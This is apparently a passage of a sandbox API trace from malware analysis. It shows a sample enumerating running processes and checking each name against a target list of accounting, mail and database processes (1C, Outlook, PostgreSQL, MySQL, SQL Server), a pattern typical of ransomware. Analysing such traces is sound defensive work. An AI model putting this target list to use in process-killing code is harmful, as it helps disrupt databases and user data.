lpString2="smss.exe") returned -1 [0087.239] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0087.239] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0087.239] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0087.239] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0087.239] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0087.239] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0087.239] Process32NextW (in: hSnapshot=0x1ec, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0087.240] lstrlenW (lpString="csrss.exe") returned 9 [0087.240] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0087.240] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0087.240] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0087.240] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0087.240] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0087.241] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0087.241] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0087.241] Process32NextW (in: hSnapshot=0x1ec, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0087.242] lstrlenW (lpString="wininit.exe") returned 11 [0087.242] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0087.242] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0087.242] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0087.242] Process32NextW (in: hSnapshot=0x1ec, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0087.243] lstrlenW (lpString="csrss.exe") returned 9 [0087.243] Process32NextW (in: hSnapshot=0x1ec, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0087.244] lstrlenW (lpString="winlogon.exe") returned 12 [0087.244] Process32NextW (in: hSnapshot=0x1ec, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0087.245] lstrlenW (lpString="services.exe") returned 12 [0087.245] Process32NextW (in: hSnapshot=0x1ec, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0087.246] lstrlenW (lpString="lsass.exe") returned 9 [0087.246] Process32NextW (in: hSnapshot=0x1ec, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0087.856] lstrlenW (lpString="lsm.exe") returned 7 [0087.857] Process32NextW (in: hSnapshot=0x1ec, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0087.857] lstrlenW (lpString="svchost.exe") returned 11 [0087.857] Process32NextW (in: hSnapshot=0x1ec, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0087.858] lstrlenW (lpString="svchost.exe") returned 11 [0087.858] Process32NextW (in: hSnapshot=0x1ec, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0087.858] lstrlenW (lpString="svchost.exe") returned 11 [0087.858] Process32NextW (in: hSnapshot=0x1ec, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0087.859] lstrlenW (lpString="svchost.exe") returned 11 [0087.859] Process32NextW (in: hSnapshot=0x1ec, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2e, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0087.860] lstrlenW (lpString="svchost.exe") returned 11 [0087.860] Process32NextW (in: hSnapshot=0x1ec, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0087.861] lstrlenW (lpString="audiodg.exe") returned 11 [0087.861] Process32NextW (in: hSnapshot=0x1ec, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0087.861] lstrlenW (lpString="svchost.exe") returned 11 [0087.861] Process32NextW (in: hSnapshot=0x1ec, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x11c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0087.862] lstrlenW (lpString="svchost.exe") returned 11 [0087.862] Process32NextW (in: hSnapshot=0x1ec, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x444, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0087.863] lstrlenW (lpString="dwm.exe") returned 7 [0087.863] Process32NextW (in: hSnapshot=0x1ec, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x454, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x20, th32ParentProcessID=0x43c, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0087.864] lstrlenW (lpString="explorer.exe") returned 12 [0087.864] Process32NextW (in: hSnapshot=0x1ec, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x47c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0087.864] lstrlenW (lpString="spoolsv.exe") returned 11 [0087.865] Process32NextW (in: hSnapshot=0x1ec, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0087.865] lstrlenW (lpString="svchost.exe") returned 11 [0087.865] Process32NextW (in: hSnapshot=0x1ec, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0087.866] lstrlenW (lpString="taskhost.exe") returned 12 [0087.866] Process32NextW (in: hSnapshot=0x1ec, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x588, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x370, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0087.867] lstrlenW (lpString="taskeng.exe") returned 11 [0087.867] Process32NextW (in: hSnapshot=0x1ec, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x440, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="developingthousands.exe")) returned 1 [0087.867] lstrlenW (lpString="developingthousands.exe") returned 23 [0087.868] Process32NextW (in: hSnapshot=0x1ec, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="efattack.exe")) returned 1 [0087.868] lstrlenW (lpString="efattack.exe") returned 12 [0087.868] Process32NextW (in: hSnapshot=0x1ec, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x340, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="feedback.exe")) returned 1 [0087.869] lstrlenW (lpString="feedback.exe") returned 12 [0087.869] Process32NextW (in: hSnapshot=0x1ec, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x76c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="happy blond engage.exe")) returned 1 [0087.870] lstrlenW (lpString="happy blond engage.exe") returned 22 [0087.870] Process32NextW (in: hSnapshot=0x1ec, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x180, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="controller_type.exe")) returned 1 [0087.870] lstrlenW (lpString="controller_type.exe") returned 19 [0087.870] Process32NextW (in: hSnapshot=0x1ec, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x53c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="donations_berry.exe")) returned 1 [0087.871] lstrlenW (lpString="donations_berry.exe") returned 19 [0087.871] Process32NextW (in: hSnapshot=0x1ec, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x604, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="lindsay.exe")) returned 1 [0087.872] lstrlenW (lpString="lindsay.exe") returned 11 [0087.872] Process32NextW (in: hSnapshot=0x1ec, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="columnists.exe")) returned 1 [0087.872] lstrlenW (lpString="columnists.exe") returned 14 [0087.873] Process32NextW (in: hSnapshot=0x1ec, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x240, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="expected_converter_behind.exe")) returned 1 [0087.873] lstrlenW (lpString="expected_converter_behind.exe") returned 29 [0087.873] Process32NextW (in: hSnapshot=0x1ec, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="chose.exe")) returned 1 [0087.874] lstrlenW (lpString="chose.exe") returned 9 [0087.874] Process32NextW (in: hSnapshot=0x1ec, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="disciplinary_became.exe")) returned 1 [0087.875] lstrlenW (lpString="disciplinary_became.exe") returned 23 [0087.876] Process32NextW (in: hSnapshot=0x1ec, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x364, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="methods.exe")) returned 1 [0087.876] lstrlenW (lpString="methods.exe") returned 11 [0087.876] Process32NextW (in: hSnapshot=0x1ec, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="circulation.exe")) returned 1 [0087.877] lstrlenW (lpString="circulation.exe") returned 15 [0087.877] Process32NextW (in: hSnapshot=0x1ec, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="suited.exe")) returned 1 [0087.878] lstrlenW (lpString="suited.exe") returned 10 [0087.878] Process32NextW (in: hSnapshot=0x1ec, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x644, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="infrastructure.exe")) returned 1 [0087.878] lstrlenW (lpString="infrastructure.exe") returned 18 [0087.878] Process32NextW (in: hSnapshot=0x1ec, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x414, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="manager_olympic.exe")) returned 1 [0087.879] lstrlenW (lpString="manager_olympic.exe") returned 19 [0087.879] Process32NextW (in: hSnapshot=0x1ec, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x488, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="relaxation-senegal-ring.exe")) returned 1 [0087.880] lstrlenW (lpString="relaxation-senegal-ring.exe") returned 27 [0087.880] Process32NextW (in: hSnapshot=0x1ec, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="help_through_allowing.exe")) returned 1 [0087.881] lstrlenW (lpString="help_through_allowing.exe") returned 25 [0087.881] Process32NextW (in: hSnapshot=0x1ec, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x634, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0087.881] lstrlenW (lpString="3dftp.exe") returned 9 [0087.882] Process32NextW (in: hSnapshot=0x1ec, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x700, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0087.882] lstrlenW (lpString="absolutetelnet.exe") returned 18 [0087.882] Process32NextW (in: hSnapshot=0x1ec, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x738, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0087.883] lstrlenW (lpString="alftp.exe") returned 9 [0087.883] Process32NextW (in: hSnapshot=0x1ec, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0087.884] lstrlenW (lpString="barca.exe") returned 9 [0087.884] Process32NextW (in: hSnapshot=0x1ec, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0087.884] lstrlenW (lpString="bitkinex.exe") returned 12 [0087.885] Process32NextW (in: hSnapshot=0x1ec, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x67c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0087.885] lstrlenW (lpString="coreftp.exe") returned 11 [0087.885] Process32NextW (in: hSnapshot=0x1ec, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x564, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0087.886] lstrlenW (lpString="far.exe") returned 7 [0087.886] Process32NextW (in: hSnapshot=0x1ec, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0087.887] lstrlenW (lpString="filezilla.exe") returned 13 [0087.887] Process32NextW (in: hSnapshot=0x1ec, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x484, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0087.888] lstrlenW (lpString="flashfxp.exe") returned 12 [0087.888] Process32NextW (in: hSnapshot=0x1ec, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0087.889] lstrlenW (lpString="fling.exe") returned 9 [0087.889] Process32NextW (in: hSnapshot=0x1ec, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x694, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0087.890] lstrlenW (lpString="foxmailincmail.exe") returned 18 [0087.890] Process32NextW (in: hSnapshot=0x1ec, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x90, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0088.415] lstrlenW (lpString="gmailnotifierpro.exe") returned 20 [0088.415] Process32NextW (in: hSnapshot=0x1ec, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x15c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0088.416] lstrlenW (lpString="icq.exe") returned 7 [0088.416] Process32NextW (in: hSnapshot=0x1ec, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x804, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0088.417] lstrlenW (lpString="leechftp.exe") returned 12 [0088.417] Process32NextW (in: hSnapshot=0x1ec, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x814, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0088.418] lstrlenW (lpString="ncftp.exe") returned 9 [0088.418] Process32NextW (in: hSnapshot=0x1ec, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x824, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0088.419] lstrlenW (lpString="notepad.exe") returned 11 [0088.419] Process32NextW (in: hSnapshot=0x1ec, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x834, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0088.421] lstrlenW (lpString="operamail.exe") returned 13 [0088.421] Process32NextW (in: hSnapshot=0x1ec, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x854, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0088.423] lstrlenW (lpString="pidgin.exe") returned 10 [0088.423] Process32NextW (in: hSnapshot=0x1ec, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x864, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0088.425] lstrlenW (lpString="scriptftp.exe") returned 13 [0088.425] Process32NextW (in: hSnapshot=0x1ec, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x874, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0088.427] lstrlenW (lpString="skype.exe") returned 9 [0088.427] Process32NextW (in: hSnapshot=0x1ec, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x884, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0088.428] lstrlenW (lpString="smartftp.exe") returned 12 [0088.428] Process32NextW (in: hSnapshot=0x1ec, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x894, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="thunderbird.exe")) returned 1 [0088.430] lstrlenW (lpString="thunderbird.exe") returned 15 [0088.430] Process32NextW (in: hSnapshot=0x1ec, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="totalcmd.exe")) returned 1 [0088.432] lstrlenW (lpString="totalcmd.exe") returned 12 [0088.432] Process32NextW (in: hSnapshot=0x1ec, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0088.433] lstrlenW (lpString="trillian.exe") returned 12 [0088.433] Process32NextW (in: hSnapshot=0x1ec, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0088.435] lstrlenW (lpString="webdrive.exe") returned 12 [0088.435] Process32NextW (in: hSnapshot=0x1ec, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0088.436] lstrlenW (lpString="whatsapp.exe") returned 12 [0088.436] Process32NextW (in: hSnapshot=0x1ec, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0088.437] lstrlenW (lpString="winscp.exe") returned 10 [0088.437] Process32NextW (in: hSnapshot=0x1ec, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0088.439] lstrlenW (lpString="yahoomessenger.exe") returned 18 [0088.439] Process32NextW (in: hSnapshot=0x1ec, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x904, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0088.440] lstrlenW (lpString="active-charge.exe") returned 17 [0088.440] Process32NextW (in: hSnapshot=0x1ec, lppe=0x212fd34 | out: 